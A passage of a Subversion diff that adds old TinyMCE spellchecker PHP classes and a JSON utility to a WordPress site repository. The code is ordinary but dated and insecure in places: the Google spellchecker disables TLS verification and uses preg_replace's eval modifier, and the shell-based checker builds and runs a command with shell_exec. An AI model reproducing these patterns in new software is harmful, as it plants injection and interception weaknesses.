g=this.editor,m=g.dom,i=this.webKitFontSizes,f=this.namedFontSizes,j=g.settings,h,k;if(m.getAttrib(l,"mce_fixed")){return}if(l.nodeName=="SPAN"&&l.className=="Apple-style-span"){h=l.style;if(!j.convert_fonts_to_spans){if(h.fontSize){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"size",b(i,h.fontSize)+1)}if(h.fontFamily){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"face",h.fontFamily)}if(h.color){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"color",m.toHex(h.color))}if(h.backgroundColor){m.setAttrib(l,"mce_name","font");m.setStyle(l,"background-color",h.backgroundColor)}}else{if(h.fontSize){m.setStyle(l,"fontSize",f[b(i,h.fontSize)])}}if(h.fontWeight=="bold"){m.setAttrib(l,"mce_name","strong")}if(h.fontStyle=="italic"){m.setAttrib(l,"mce_name","em")}if(h.textDecoration=="underline"){m.setAttrib(l,"mce_name","u")}if(h.textDecoration=="line-through"){m.setAttrib(l,"mce_name","strike")}if(h.verticalAlign=="super"){m.setAttrib(l,"mce_name","sup")}if(h.verticalAlign=="sub"){m.setAttrib(l,"mce_name","sub")}m.setAttrib(l,"mce_fixed","1")}},_insertBR:function(f){var j=f.dom,h=f.selection,i=h.getRng(),g;i.insertNode(g=j.create("br"));i.setStartAfter(g);i.setEndAfter(g);h.setRng(i);if(h.getSel().focusNode==g.previousSibling){h.select(j.insertAfter(j.doc.createTextNode("\u00a0"),g));h.collapse(1)}f.getWin().scrollTo(0,j.getPos(h.getRng().startContainer).y)}});tinymce.PluginManager.add("safari",tinymce.plugins.Safari)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+/**
+ * $Id: editor_plugin_src.js 201 2007-02-12 15:56:56Z spocke $
+ *
+ * This class was contributed by Michel Weimerskirch.
+ *
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+class EnchantSpell extends SpellChecker {
+	/**
+	 * Spellchecks an array of words.
+	 *
+	 * @param String $lang Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1
+	 * @param Array $words Array of words to check.
+	 * @return Array of misspelled words.
+	 */
+	function &checkWords($lang, $words) {
+		$r = enchant_broker_init();
+		
+		if (enchant_broker_dict_exists($r,$lang)) {
+			$d = enchant_broker_request_dict($r, $lang);
+			
+			$returnData = array();
+			foreach($words as $key => $value) {
+				$correct = enchant_dict_check($d, $value);
+				if(!$correct) {
+					$returnData[] = trim($value);
+				}
+			}
+	
+			return $returnData;
+			enchant_broker_free_dict($d);
+		} else {
+
+		}
+		enchant_broker_free($r);
+	}
+
+	/**
+	 * Returns suggestions for a specific word.
+	 *
+	 * @param String $lang Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1
+	 * @param String $word Specific word to get suggestions for.
+	 * @return Array of suggestions for the specified word.
+	 */
+	function &getSuggestions($lang, $word) {
+		$r = enchant_broker_init();
+		$suggs = array();
+
+		if (enchant_broker_dict_exists($r,$lang)) {
+			$d = enchant_broker_request_dict($r, $lang);
+			$suggs = enchant_dict_suggest($d, $word);
+
+			enchant_broker_free_dict($d);
+		} else {
+
+		}
+		enchant_broker_free($r);
+
+		return $suggs;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php	(revision 44)
@@ -0,0 +1,159 @@
+<?php
+/**
+ * $Id: editor_plugin_src.js 201 2007-02-12 15:56:56Z spocke $
+ *
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+class GoogleSpell extends SpellChecker {
+	/**
+	 * Spellchecks an array of words.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {Array} $words Array of words to spellcheck.
+	 * @return {Array} Array of misspelled words.
+	 */
+	function &checkWords($lang, $words) {
+		$wordstr = implode(' ', $words);
+		$matches = $this->_getMatches($lang, $wordstr);
+		$words = array();
+
+		for ($i=0; $i<count($matches); $i++)
+			$words[] = $this->_unhtmlentities(mb_substr($wordstr, $matches[$i][1], $matches[$i][2], "UTF-8"));
+
+		return $words;
+	}
+
+	/**
+	 * Returns suggestions of for a specific word.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {String} $word Specific word to get suggestions for.
+	 * @return {Array} Array of suggestions for the specified word.
+	 */
+	function &getSuggestions($lang, $word) {
+		$sug = array();
+		$osug = array();
+		$matches = $this->_getMatches($lang, $word);
+
+		if (count($matches) > 0)
+			$sug = explode("\t", utf8_encode($this->_unhtmlentities($matches[0][4])));
+
+		// Remove empty
+		foreach ($sug as $item) {
+			if ($item)
+				$osug[] = $item;
+		}
+
+		return $osug;
+	}
+
+	function &_getMatches($lang, $str) {
+		$server = "www.google.com";
+		$port = 443;
+		$path = "/tbproxy/spell?lang=" . $lang . "&hl=en";
+		$host = "www.google.com";
+		$url = "https://" . $server;
+
+		// Setup XML request
+		$xml = '<?xml version="1.0" encoding="utf-8" ?><spellrequest textalreadyclipped="0" ignoredups="0" ignoredigits="1" ignoreallcaps="1"><text>' . $str . '</text></spellrequest>';
+
+		$header  = "POST ".$path." HTTP/1.0 \r\n";
+		$header .= "MIME-Version: 1.0 \r\n";
+		$header .= "Content-type: application/PTI26 \r\n";
+		$header .= "Content-length: ".strlen($xml)." \r\n";
+		$header .= "Content-transfer-encoding: text \r\n";
+		$header .= "Request-number: 1 \r\n";
+		$header .= "Document-type: Request \r\n";
+		$header .= "Interface-Version: Test 1.4 \r\n";
+		$header .= "Connection: close \r\n\r\n";
+		$header .= $xml;
+
+		// Use curl if it exists
+		if (function_exists('curl_init')) {
+			// Use curl
+			$ch = curl_init();
+			curl_setopt($ch, CURLOPT_URL,$url);
+			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+			curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);
+			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
+			$xml = curl_exec($ch);
+			curl_close($ch);
+		} else {
+			// Use raw sockets
+			$fp = fsockopen("ssl://" . $server, $port, $errno, $errstr, 30);
+			if ($fp) {
+				// Send request
+				fwrite($fp, $header);
+
+				// Read response
+				$xml = "";
+				while (!feof($fp))
+					$xml .= fgets($fp, 128);
+
+				fclose($fp);
+			} else
+				echo "Could not open SSL connection to google.";
+		}
+
+		// Grab and parse content
+		$matches = array();
+		preg_match_all('/<c o="([^"]*)" l="([^"]*)" s="([^"]*)">([^<]*)<\/c>/', $xml, $matches, PREG_SET_ORDER);
+
+		return $matches;
+	}
+
+	function _unhtmlentities($string) {
+		$string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
+		$string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
+
+		$trans_tbl = get_html_translation_table(HTML_ENTITIES);
+		$trans_tbl = array_flip($trans_tbl);
+
+		return strtr($string, $trans_tbl);
+	}
+}
+
+// Patch in multibyte support
+if (!function_exists('mb_substr')) {
+	function mb_substr($str, $start, $len = '', $encoding="UTF-8"){
+		$limit = strlen($str);
+
+		for ($s = 0; $start > 0;--$start) {// found the real start
+			if ($s >= $limit)
+				break;
+
+			if ($str[$s] <= "\x7F")
+				++$s;
+			else {
+				++$s; // skip length
+
+				while ($str[$s] >= "\x80" && $str[$s] <= "\xBF")
+					++$s;
+			}
+		}
+
+		if ($len == '')
+			return substr($str, $s);
+		else
+			for ($e = $s; $len > 0; --$len) {//found the real end
+				if ($e >= $limit)
+					break;
+
+				if ($str[$e] <= "\x7F")
+					++$e;
+				else {
+					++$e;//skip length
+
+					while ($str[$e] >= "\x80" && $str[$e] <= "\xBF" && $e < $limit)
+						++$e;
+				}
+			}
+
+		return substr($str, $s, $e - $s);
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php	(revision 44)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * $Id: editor_plugin_src.js 201 2007-02-12 15:56:56Z spocke $
+ *
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+class PSpell extends SpellChecker {
+	/**
+	 * Spellchecks an array of words.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {Array} $words Array of words to spellcheck.
+	 * @return {Array} Array of misspelled words.
+	 */
+	function &checkWords($lang, $words) {
+		$plink = $this->_getPLink($lang);
+
+		$outWords = array();
+		foreach ($words as $word) {
+			if (!pspell_check($plink, trim($word)))
+				$outWords[] = utf8_encode($word);
+		}
+
+		return $outWords;
+	}
+
+	/**
+	 * Returns suggestions of for a specific word.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {String} $word Specific word to get suggestions for.
+	 * @return {Array} Array of suggestions for the specified word.
+	 */
+	function &getSuggestions($lang, $word) {
+		$words = pspell_suggest($this->_getPLink($lang), $word);
+
+		for ($i=0; $i<count($words); $i++)
+			$words[$i] = utf8_encode($words[$i]);
+
+		return $words;
+	}
+
+	/**
+	 * Opens a link for pspell.
+	 */
+	function &_getPLink($lang) {
+		// Check for native PSpell support
+		if (!function_exists("pspell_new"))
+			$this->throwError("PSpell support not found in PHP installation.");
+
+		// Setup PSpell link
+		$plink = pspell_new(
+			$lang,
+			$this->_config['PSpell.spelling'],
+			$this->_config['PSpell.jargon'],
+			$this->_config['PSpell.encoding'],
+			$this->_config['PSpell.mode']
+		);
+
+		// Setup PSpell link
+/*		if (!$plink) {
+			$pspellConfig = pspell_config_create(
+				$lang,
+				$this->_config['PSpell.spelling'],
+				$this->_config['PSpell.jargon'],
+				$this->_config['PSpell.encoding']
+			);
+
+			$plink = pspell_new_config($pspell_config);
+		}*/
+
+		if (!$plink)
+			$this->throwError("No PSpell link found opened.");
+
+		return $plink;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php	(revision 44)
@@ -0,0 +1,113 @@
+<?php
+/**
+ * $Id: editor_plugin_src.js 201 2007-02-12 15:56:56Z spocke $
+ *
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+class PSpellShell extends SpellChecker {
+	/**
+	 * Spellchecks an array of words.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {Array} $words Array of words to spellcheck.
+	 * @return {Array} Array of misspelled words.
+	 */
+	function &checkWords($lang, $words) {
+		$cmd = $this->_getCMD($lang);
+
+		if ($fh = fopen($this->_tmpfile, "w")) {
+			fwrite($fh, "!\n");
+
+			foreach($words as $key => $value)
+				fwrite($fh, "^" . $value . "\n");
+
+			fclose($fh);
+		} else
+			$this->throwError("PSpell support was not found.");
+
+		$data = shell_exec($cmd);
+		@unlink($this->_tmpfile);
+
+		$returnData = array();
+		$dataArr = preg_split("/[\r\n]/", $data, -1, PREG_SPLIT_NO_EMPTY);
+
+		foreach ($dataArr as $dstr) {
+			$matches = array();
+
+			// Skip this line.
+			if (strpos($dstr, "@") === 0)
+				continue;
+
+			preg_match("/\& ([^ ]+) .*/i", $dstr, $matches);
+
+			if (!empty($matches[1]))
+				$returnData[] = utf8_encode(trim($matches[1]));
+		}
+
+		return $returnData;
+	}
+
+	/**
+	 * Returns suggestions of for a specific word.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {String} $word Specific word to get suggestions for.
+	 * @return {Array} Array of suggestions for the specified word.
+	 */
+	function &getSuggestions($lang, $word) {
+		$cmd = $this->_getCMD($lang);
+
+        if (function_exists("mb_convert_encoding"))
+            $word = mb_convert_encoding($word, "ISO-8859-1", mb_detect_encoding($word, "UTF-8"));
+        else
+            $word = utf8_encode($word);
+
+		if ($fh = fopen($this->_tmpfile, "w")) {
+			fwrite($fh, "!\n");
+			fwrite($fh, "^$word\n");
+			fclose($fh);
+		} else
+			$this->throwError("Error opening tmp file.");
+
+		$data = shell_exec($cmd);
+		@unlink($this->_tmpfile);
+
+		$returnData = array();
+		$dataArr = preg_split("/\n/", $data, -1, PREG_SPLIT_NO_EMPTY);
+
+		foreach($dataArr as $dstr) {
+			$matches = array();
+
+			// Skip this line.
+			if (strpos($dstr, "@") === 0)
+				continue;
+
+			preg_match("/\&[^:]+:(.*)/i", $dstr, $matches);
+
+			if (!empty($matches[1])) {
+				$words = array_slice(explode(',', $matches[1]), 0, 10);
+
+				for ($i=0; $i<count($words); $i++)
+					$words[$i] = trim($words[$i]);
+
+				return $words;
+			}
+		}
+
+		return array();
+	}
+
+	function _getCMD($lang) {
+		$this->_tmpfile = tempnam($this->_config['PSpellShell.tmp'], "tinyspell");
+
+		if(preg_match("#win#i", php_uname()))
+			return $this->_config['PSpellShell.aspell'] . " -a --lang=". escapeshellarg($lang) . " --encoding=utf-8 -H < " . $this->_tmpfile . " 2>&1";
+
+		return "cat ". $this->_tmpfile ." | " . $this->_config['PSpellShell.aspell'] . " -a --encoding=utf-8 -H --lang=". escapeshellarg($lang);
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/SpellChecker.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/SpellChecker.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/SpellChecker.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * $Id: editor_plugin_src.js 201 2007-02-12 15:56:56Z spocke $
+ *
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+class SpellChecker {
+	/**
+	 * Constructor.
+	 *
+	 * @param $config Configuration name/value array.
+	 */
+	function SpellChecker(&$config) {
+		$this->_config = $config;
+	}
+
+	/**
+	 * Simple loopback function everything that gets in will be send back.
+	 *
+	 * @param $args.. Arguments.
+	 * @return {Array} Array of all input arguments. 
+	 */
+	function &loopback(/* args.. */) {
+		return func_get_args();
+	}
+
+	/**
+	 * Spellchecks an array of words.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {Array} $words Array of words to spellcheck.
+	 * @return {Array} Array of misspelled words.
+	 */
+	function &checkWords($lang, $words) {
+		return $words;
+	}
+
+	/**
+	 * Returns suggestions of for a specific word.
+	 *
+	 * @param {String} $lang Language code like sv or en.
+	 * @param {String} $word Specific word to get suggestions for.
+	 * @return {Array} Array of suggestions for the specified word.
+	 */
+	function &getSuggestions($lang, $word) {
+		return array();
+	}
+
+	/**
+	 * Throws an error message back to the user. This will stop all execution.
+	 *
+	 * @param {String} $str Message to send back to user.
+	 */
+	function throwError($str) {
+		die('{"result":null,"id":null,"error":{"errstr":"' . addslashes($str) . '","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/JSON.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/JSON.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/JSON.php	(revision 44)
@@ -0,0 +1,595 @@
+<?php
+/**
+ * $Id: JSON.php 40 2007-06-18 11:43:15Z spocke $
+ *
+ * @package MCManager.utils
+ * @author Moxiecode
+ * @copyright Copyright © 2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+define('JSON_BOOL', 1);
+define('JSON_INT', 2);
+define('JSON_STR', 3);
+define('JSON_FLOAT', 4);
+define('JSON_NULL', 5);
+define('JSON_START_OBJ', 6);
+define('JSON_END_OBJ', 7);
+define('JSON_START_ARRAY', 8);
+define('JSON_END_ARRAY', 9);
+define('JSON_KEY', 10);
+define('JSON_SKIP', 11);
+
+define('JSON_IN_ARRAY', 30);
+define('JSON_IN_OBJECT', 40);
+define('JSON_IN_BETWEEN', 50);
+
+class Moxiecode_JSONReader {
+	var $_data, $_len, $_pos;
+	var $_value, $_token;
+	var $_location, $_lastLocations;
+	var $_needProp;
+
+	function Moxiecode_JSONReader($data) {
+		$this->_data = $data;
+		$this->_len = strlen($data);
+		$this->_pos = -1;
+		$this->_location = JSON_IN_BETWEEN;
+		$this->_lastLocations = array();
+		$this->_needProp = false;
+	}
+
+	function getToken() {
+		return $this->_token;
+	}
+
+	function getLocation() {
+		return $this->_location;
+	}
+
+	function getTokenName() {
+		switch ($this->_token) {
+			case JSON_BOOL:
+				return 'JSON_BOOL';
+
+			case JSON_INT:
+				return 'JSON_INT';
+
+			case JSON_STR:
+				return 'JSON_STR';
+
+			case JSON_FLOAT:
+				return 'JSON_FLOAT';
+
+			case JSON_NULL:
+				return 'JSON_NULL';
+
+			case JSON_START_OBJ:
+				return 'JSON_START_OBJ';
+
+			case JSON_END_OBJ:
+				return 'JSON_END_OBJ';
+
+			case JSON_START_ARRAY:
+				return 'JSON_START_ARRAY';
+
+			case JSON_END_ARRAY:
+				return 'JSON_END_ARRAY';
+
+			case JSON_KEY:
+				return 'JSON_KEY';
+		}
+
+		return 'UNKNOWN';
+	}
+
+	function getValue() {
+		return $this->_value;
+	}
+
+	function readToken() {
+		$chr = $this->read();
+
+		if ($chr != null) {
+			switch ($chr) {
+				case '[':
+					$this->_lastLocation[] = $this->_location;
+					$this->_location = JSON_IN_ARRAY;
+					$this->_token = JSON_START_ARRAY;
+					$this->_value = null;
+					$this->readAway();
+					return true;
+
+				case ']':
+					$this->_location = array_pop($this->_lastLocation);
+					$this->_token = JSON_END_ARRAY;
+					$this->_value = null;
+					$this->readAway();
+
+					if ($this->_location == JSON_IN_OBJECT)
+						$this->_needProp = true;
+
+					return true;
+
+				case '{':
+					$this->_lastLocation[] = $this->_location;
+					$this->_location = JSON_IN_OBJECT;
+					$this->_needProp = true;
+					$this->_token = JSON_START_OBJ;
+					$this->_value = null;
+					$this->readAway();
+					return true;
+
+				case '}':
+					$this->_location = array_pop($this->_lastLocation);
+					$this->_token = JSON_END_OBJ;
+					$this->_value = null;
+					$this->readAway();
+
+					if ($this->_location == JSON_IN_OBJECT)
+						$this->_needProp = true;
+
+					return true;
+
+				// String
+				case '"':
+				case '\'':
+					return $this->_readString($chr);
+
+				// Null
+				case 'n':
+					return $this->_readNull();
+
+				// Bool
+				case 't':
+				case 'f':
+					return $this->_readBool($chr);
+
+				default:
+					// Is number
+					if (is_numeric($chr) || $chr == '-' || $chr == '.')
+						return $this->_readNumber($chr);
+
+					return true;
+			}
+		}
+
+		return false;
+	}
+
+	function _readBool($chr) {
+		$this->_token = JSON_BOOL;
+		$this->_value = $chr == 't';
+
+		if ($chr == 't')
+			$this->skip(3); // rue
+		else
+			$this->skip(4); // alse
+
+		$this->readAway();
+
+		if ($this->_location == JSON_IN_OBJECT && !$this->_needProp)
+			$this->_needProp = true;
+
+		return true;
+	}
+
+	function _readNull() {
+		$this->_token = JSON_NULL;
+		$this->_value = null;
+
+		$this->skip(3); // ull
+		$this->readAway();
+
+		if ($this->_location == JSON_IN_OBJECT && !$this->_needProp)
+			$this->_needProp = true;
+
+		return true;
+	}
+
+	function _readString($quote) {
+		$output = "";
+		$this->_token = JSON_STR;
+		$endString = false;
+
+		while (($chr = $this->peek()) != -1) {
+			switch ($chr) {
+				case '\\':
+					// Read away slash
+					$this->read();
+
+					// Read escape code
+					$chr = $this->read();
+					switch ($chr) {
+							case 't':
+								$output .= "\t";
+								break;
+
+							case 'b':
+								$output .= "\b";
+								break;
+
+							case 'f':
+								$output .= "\f";
+								break;
+
+							case 'r':
+								$output .= "\r";
+								break;
+
+							case 'n':
+								$output .= "\n";
+								break;
+
+							case 'u':
+								$output .= $this->_int2utf8(hexdec($this->read(4)));
+								break;
+
+							default:
+								$output .= $chr;
+								break;
+					}
+
+					break;
+
+					case '\'':
+					case '"':
+						if ($chr == $quote)
+							$endString = true;
+
+						$chr = $this->read();
+						if ($chr != -1 && $chr != $quote)
+							$output .= $chr;
+
+						break;
+
+					default:
+						$output .= $this->read();
+			}
+
+			// String terminated
+			if ($endString)
+				break;
+		}
+
+		$this->readAway();
+		$this->_value = $output;
+
+		// Needed a property
+		if ($this->_needProp) {
+			$this->_token = JSON_KEY;
+			$this->_needProp = false;
+			return true;
+		}
+
+		if ($this->_location == JSON_IN_OBJECT && !$this->_needProp)
+			$this->_needProp = true;
+
+		return true;
+	}
+
+	function _int2utf8($int) {
+		$int = intval($int);
+
+		switch ($int) {
+			case 0:
+				return chr(0);
+
+			case ($int & 0x7F):
+				return chr($int);
+
+			case ($int & 0x7FF):
+				return chr(0xC0 | (($int >> 6) & 0x1F)) . chr(0x80 | ($int & 0x3F));
+
+			case ($int & 0xFFFF):
+				return chr(0xE0 | (($int >> 12) & 0x0F)) . chr(0x80 | (($int >> 6) & 0x3F)) . chr (0x80 | ($int & 0x3F));
+
+			case ($int & 0x1FFFFF):
+				return chr(0xF0 | ($int >> 18)) . chr(0x80 | (($int >> 12) & 0x3F)) . chr(0x80 | (($int >> 6) & 0x3F)) . chr(0x80 | ($int & 0x3F));
+		}
+	}
+
+	function _readNumber($start) {
+		$value = "";
+		$isFloat = false;
+
+		$this->_token = JSON_INT;
+		$value .= $start;
+
+		while (($chr = $this->peek()) != -1) {
+			if (is_numeric($chr) || $chr == '-' || $chr == '.') {
+				if ($chr == '.')
+					$isFloat = true;
+
+				$value .= $this->read();
+			} else
+				break;
+		}
+
+		$this->readAway();
+
+		if ($isFloat) {
+			$this->_token = JSON_FLOAT;
+			$this->_value = floatval($value);
+		} else
+			$this->_value = intval($value);
+
+		if ($this->_location == JSON_IN_OBJECT && !$this->_needProp)
+			$this->_needProp = true;
+
+		return true;
+	}
+
+	function readAway() {
+		while (($chr = $this->peek()) != null) {
+			if ($chr != ':' && $chr != ',' && $chr != ' ')
+				return;
+
+			$this->read();
+		}
+	}
+
+	function read($len = 1) {
+		if ($this->_pos < $this->_len) {
+			if ($len > 1) {
+				$str = substr($this->_data, $this->_pos + 1, $len);
+				$this->_pos += $len;
+
+				return $str;
+			} else
+				return $this->_data[++$this->_pos];
+		}
+
+		return null;
+	}
+
+	function skip($len) {
+		$this->_pos += $len;
+	}
+
+	function peek() {
+		if ($this->_pos < $this->_len)
+			return $this->_data[$this->_pos + 1];
+
+		return null;
+	}
+}
+
+/**
+ * This class handles JSON stuff.
+ *
+ * @package MCManager.utils
+ */
+class Moxiecode_JSON {
+	function Moxiecode_JSON() {
+	}
+
+	function decode($input) {
+		$reader = new Moxiecode_JSONReader($input);
+
+		return $this->readValue($reader);
+	}
+
+	function readValue(&$reader) {
+		$this->data = array();
+		$this->parents = array();
+		$this->cur =& $this->data;
+		$key = null;
+		$loc = JSON_IN_ARRAY;
+
+		while ($reader->readToken()) {
+			switch ($reader->getToken()) {
+				case JSON_STR:
+				case JSON_INT:
+				case JSON_BOOL:
+				case JSON_FLOAT:
+				case JSON_NULL:
+					switch ($reader->getLocation()) {
+						case JSON_IN_OBJECT:
+							$this->cur[$key] = $reader->getValue();
+							break;
+
+						case JSON_IN_ARRAY:
+							$this->cur[] = $reader->getValue();
+							break;
+
+						default:
+							return $reader->getValue();
+					}
+					break;
+
+				case JSON_KEY:
+					$key = $reader->getValue();
+					break;
+
+				case JSON_START_OBJ:
+				case JSON_START_ARRAY:
+					if ($loc == JSON_IN_OBJECT)
+						$this->addArray($key);
+					else
+						$this->addArray(null);
+
+					$cur =& $obj;
+
+					$loc = $reader->getLocation();
+					break;
+
+				case JSON_END_OBJ:
+				case JSON_END_ARRAY:
+					$loc = $reader->getLocation();
+
+					if (count($this->parents) > 0) {
+						$this->cur =& $this->parents[count($this->parents) - 1];
+						array_pop($this->parents);
+					}
+					break;
+			}
+		}
+
+		return $this->data[0];
+	}
+
+	// This method was needed since PHP is crapy and doesn't have pointers/references
+	function addArray($key) {
+		$this->parents[] =& $this->cur;
+		$ar = array();
+
+		if ($key)
+			$this->cur[$key] =& $ar;
+		else
+			$this->cur[] =& $ar;
+
+		$this->cur =& $ar;
+	}
+
+	function getDelim($index, &$reader) {
+		switch ($reader->getLocation()) {
+			case JSON_IN_ARRAY:
+			case JSON_IN_OBJECT:
+				if ($index > 0)
+					return ",";
+				break;
+		}
+
+		return "";
+	}
+
+	function encode($input) {
+		switch (gettype($input)) {
+			case 'boolean':
+				return $input ? 'true' : 'false';
+
+			case 'integer':
+				return (int) $input;
+
+			case 'float':
+			case 'double':
+				return (float) $input;
+
+			case 'NULL':
+				return 'null';
+
+			case 'string':
+				return $this->encodeString($input);
+
+			case 'array':
+				return $this->_encodeArray($input);
+
+			case 'object':
+				return $this->_encodeArray(get_object_vars($input));
+		}
+
+		return '';
+	}
+
+	function encodeString($input) {
+		// Needs to be escaped
+		if (preg_match('/[^a-zA-Z0-9]/', $input)) {
+			$output = '';
+
+			for ($i=0; $i<strlen($input); $i++) {
+				switch ($input[$i]) {
+					case "\b":
+						$output .= "\\b";
+						break;
+
+					case "\t":
+						$output .= "\\t";
+						break;
+
+					case "\f":
+						$output .= "\\f";
+						break;
+
+					case "\r":
+						$output .= "\\r";
+						break;
+
+					case "\n":
+						$output .= "\\n";
+						break;
+
+					case '\\':
+						$output .= "\\\\";
+						break;
+
+					case '\'':
+						$output .= "\\'";
+						break;
+
+					case '"':
+						$output .= '\"';
+						break;
+
+					default:
+						$byte = ord($input[$i]);
+
+						if (($byte & 0xE0) == 0xC0) {
+							$char = pack('C*', $byte, ord($input[$i + 1]));
+							$i += 1;
+							$output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char)));
+						} if (($byte & 0xF0) == 0xE0) {
+							$char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2]));
+							$i += 2;
+							$output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char)));
+						} if (($byte & 0xF8) == 0xF0) {
+							$char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2], ord($input[$i + 3])));
+							$i += 3;
+							$output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char)));
+						} if (($byte & 0xFC) == 0xF8) {
+							$char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2], ord($input[$i + 3]), ord($input[$i + 4])));
+							$i += 4;
+							$output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char)));
+						} if (($byte & 0xFE) == 0xFC) {
+							$char = pack('C*', $byte, ord($input[$i + 1]), ord($input[$i + 2], ord($input[$i + 3]), ord($input[$i + 4]), ord($input[$i + 5])));
+							$i += 5;
+							$output .= sprintf('\u%04s', bin2hex($this->_utf82utf16($char)));
+						} else if ($byte < 128)
+							$output .= $input[$i];
+				}
+			}
+
+			return '"' . $output . '"';
+		}
+
+		return '"' . $input . '"';
+	}
+
+	function _utf82utf16($utf8) {
+		if (function_exists('mb_convert_encoding'))
+			return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+
+		switch (strlen($utf8)) {
+			case 1:
+				return $utf8;
+
+			case 2:
+				return chr(0x07 & (ord($utf8[0]) >> 2)) . chr((0xC0 & (ord($utf8[0]) << 6)) | (0x3F & ord($utf8[1])));
+
+			case 3:
+				return chr((0xF0 & (ord($utf8[0]) << 4)) | (0x0F & (ord($utf8[1]) >> 2))) . chr((0xC0 & (ord($utf8[1]) << 6)) | (0x7F & ord($utf8[2])));
+		}
+
+		return '';
+	}
+
+	function _encodeArray($input) {
+		$output = '';
+		$isIndexed = true;
+
+		$keys = array_keys($input);
+		for ($i=0; $i<count($keys); $i++) {
+			if (!is_int($keys[$i])) {
+				$output .= $this->encodeString($keys[$i]) . ':' . $this->encode($input[$keys[$i]]);
+				$isIndexed = false;
+			} else
+				$output .= $this->encode($input[$keys[$i]]);
+
+			if ($i != count($keys) - 1)
+				$output .= ',';
+		}
+
+		return $isIndexed ? '[' . $output . ']' : '{' . $output . '}';
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/Logger.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/Logger.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/classes/utils/Logger.php	(revision 44)
@@ -0,0 +1,268 @@
+<?php
+/**
+ * $Id: Logger.class.php 10 2007-05-27 10:55:12Z spocke $
+ *
+ * @package MCFileManager.filesystems
+ * @author Moxiecode
